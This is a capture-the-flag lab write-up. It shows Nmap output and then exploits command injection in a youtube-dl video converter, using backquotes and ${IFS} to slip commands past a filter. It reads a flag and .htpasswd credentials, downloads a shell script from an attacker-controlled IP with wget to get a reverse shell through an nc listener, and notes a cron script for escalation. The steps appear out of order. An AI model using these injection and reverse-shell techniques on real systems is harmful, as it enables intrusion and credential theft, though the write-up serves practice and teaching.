Starting Nmap 7.60 ( https://nmap.org ) at 2022-07-05 21:48 BST
Stats: 0:20:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 22:09 (0:00:00 remaining)
Nmap scan report for ip-10-10-68-80.eu-west-1.compute.internal (10.10.68.80)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
| 256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_ 256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 02:61:5C:CF:D0:3B (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=7/5%OT=22%CT=1%CU=34666%PV=Y%DS=1%DC=D%G=Y%M=02615C%TM
OS:=62C4A916%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OS:SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M230
OS:1ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)W
OS:IN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F
OS:507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0
OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1381.76 seconds
First I inspected on burp the request. Sent it to my repeater and played with it a little
Here are the interesting elements of the response
Unable to download webpage: HTTP Error 401: Unauthorized (caused by HTTPError()); please report this issue on https:\/\/yt-dl.org\/bug . Make sure you are using the latest version; type youtube-dl -U to update. Be sure to call youtube-dl with the --verbose flag and include its complete output
"result_url":"\/tmp\/downloads\/62d2fd72c199c.mp3
According to this it is using a binary called youtube-dl and put the converted video to a downloads folder in /tmp
We can still get our user flag this way though, as we saw it listed with the previous command that worked cat${IFS}admin/flag.txt
Let's try to get a reverse shell all the one liners with reverse have dash sign in them. let's see if we can wget a homemade file with a oneliner shell in it and execute it afterwards.
We make a file called oneliner.sh and put this in it
What is the name of the secret folder? admin (we get this using gobuster, see above)
What is the user to access the secret folder? to know this we need to do this one we have our reverse shell cat admin/.htpasswd we will get the user and password inside this file.
We have a page with a file upload functionality to convert a video
If we use a real youtube video ID it does not work. We get an error message
I tried to inject a command after the url, and got interesting info
We definitely can push further our cmd injection investigation. We can try using backquotes, and it works
If I want to do more than just a command without args it is getting tricky because of the space, and url encoding does not work. But if you google linux command without space you find this post on stackoverflow, turns out you can replace a space with ${IFS} which is a var that contains a space! It works if we do ls${IFS}admin but not if we do ls${IFS}-al it seems to interpret our -
So now let's try to first wget our file wget${IFS}http://10.13.22.56/oneliner.sh we can already set up our listener so that we do not forget about it rlwrap nc -lvp 4444 our wget seems to work
Let's try to execute it but before we need to make it executable bash${IFS}oneliner.sh our chmod with +x does not work let's try with 777 chmod${IFS}777${IFS}oneliner.sh and it works
If we look around a little we are able to answer question 2 with a cat on .htpasswd
It seems like there is a clean.sh file that is executed through a probable cron job
